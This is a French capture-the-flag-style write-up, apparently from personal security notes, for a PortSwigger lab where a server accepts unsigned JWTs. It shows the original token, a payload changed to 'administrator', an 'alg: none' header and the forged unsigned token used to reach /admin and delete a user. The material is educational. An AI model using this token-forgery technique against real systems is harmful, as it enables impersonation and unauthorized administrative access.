> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-via-flawed-signature-verification.md).
# Contournement de l’authentification JWT via vérification de signature défaillante
Notes sur le contournement de l’authentification JWT via vérification de signature défaillante pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et la remédiation co
### Contournement de l'authentification JWT via une vérification de signature défectueuse
**Contexte du laboratoire**
Ce labo utilise **les JSON Web Tokens (JWT)** pour gérer les sessions utilisateur. / La configuration du serveur est incorrecte : il \*\* accepte les JWT non signés\*\*, permettant de falsifier un jeton valide sans posséder la clé privée.
**Objectif :**
* Modifier le JWT de session pour accéder `/admin` panneau d’administration
* Supprimer l’utilisateur **carlos**
**Identifiants fournis :**
* Utilisateur : `wiener`
* Mot de passe : `peter`
\*\*Analyse initiale du JWT\*\*
Après connexion, un cookie de session JWT est fourni :
```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTU3Niwic3ViIjoid2llbmVyIn0.CDQZmT-cC5Oa1A4yVjgEu1HVYC_J7aZ_Utfjkbdy8D0frSJVeZygaS82Frj4ZI6q8a0XGgvDE1NEJ1TQdnrJ2WSFRWoew7Nen9FJe1X_Rz2nHVKCA5kk30Kx2xB9BQ6ij-wbQLLcZkPV4CqklQ51CwPwrxCfPzpGXxCGOhjOvfYTeZzmKrskOzTG1Ikk3rv4JGWY1GKATeRXuZgbIUxG4QsHS7bDOzcUCuhUiUj4uu4gWE2FvZFLpnbNC1VvtUyq37Qqrqo78IomtnA3pe6e285IzkIr8IK-iiLVvkV4q2pTDI4-FIaMsaqMvyLvBWqsHMR-OXL4MJZMQho0E1Cdtw
```
* **En-tête**: `RS256` algorithme
* **Charge utile**: `wiener` jeton utilisateur
* **Signature**: original et valide
**Modification de la charge utile**
L'objectif est de se faire passer pour un administrateur. / Le `le champ sub` champ est modifié dans la charge utile :
```json
{
"iss": "portswigger",
"exp": 1767531576,
"sub": "administrator"
}
```
**Exploitation d'une vérification incorrecte**
Le serveur accepte les JWT avec `aucun` algorithme. / Le **en-tête** est ensuite modifié :
```json
{
"kid": "ae2a1871-902d-46a7-aab8-f9558bb0e64e",
"alg": "none"
}
```
Ensuite :
* La signature est complètement supprimée\*\*
* Le JWT final se termine par un point (`.`)
{% code overflow="wrap" %}
```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJub25lIn0%3d.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMjI2NSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
```
{% endcode %}
**Résultat**
* Le serveur \*\* accepte les JWT non signés\*\*
* L'accès à `/admin` le panneau est autorisé
* Utilisateur **carlos** peut être supprimé
---
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